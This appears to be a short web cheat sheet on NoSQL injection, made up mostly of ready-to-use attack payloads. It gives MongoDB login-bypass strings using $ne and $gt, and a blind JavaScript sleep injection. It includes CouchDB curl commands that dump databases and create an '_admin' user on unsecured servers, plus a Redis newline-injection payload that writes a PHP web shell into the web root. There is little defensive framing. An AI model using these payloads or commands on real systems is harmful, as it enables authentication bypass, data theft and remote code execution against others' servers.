NoSQL databases don’t use SQL, but they’re still injectable. MongoDB is the most common target — its query operators can be injected through JSON or URL parameters to bypass authentication and extract data.
The $ne: null operator matches any non-null password — bypasses auth for the admin user.
{"username":{"$ne":null},"password":{"$ne":null}}
This matches the first user regardless of credentials.
URL parameter injection:
POST /login username[$ne]=x&password[$ne]=x username[$gt]=&password[$gt]=
MongoDB Operator Injection Reference
// Comparison $ne → not equal $gt → greater than $gte → greater than or equal $lt → less than $lte → less than or equal $in → value in array $nin → value not in array $exists → field exists
// Logic $or → logical OR $and → logical AND $not → logical NOT $nor → logical NOR
// Data exfiltration via sleep (blind) '; sleep(5000); var x=' ' || (function(){var date=new Date(); do {curDate = new Date();}while(curDate-date<5000); return true;})() || '1'=='1
CouchDB has a REST API and uses _design documents with JavaScript views.
# List all databases (unauthenticated if misconfigured) curl http://target.com:5984/_all_dbs
# Read all documents curl http://target.com:5984/mydb/_all_docs?include_docs=true
# Admin Party (no auth configured) curl -X PUT http://target.com:5984/_users/org.couchdb.user:attacker \ -d '{"name":"attacker","password":"pass","roles":["_admin"],"type":"user"}'
Redis Injection
Redis accepts plaintext commands. If user input reaches a Redis command:
# Injecting newlines to add additional commands SET key value\r\nCONFIG SET dir /var/www/html\r\nCONFIG SET dbfilename shell.php\r\nSET x "<?phpsystem($_GET['c']); ?>"\r\nSAVE\r\n
No comments yet. Be the first.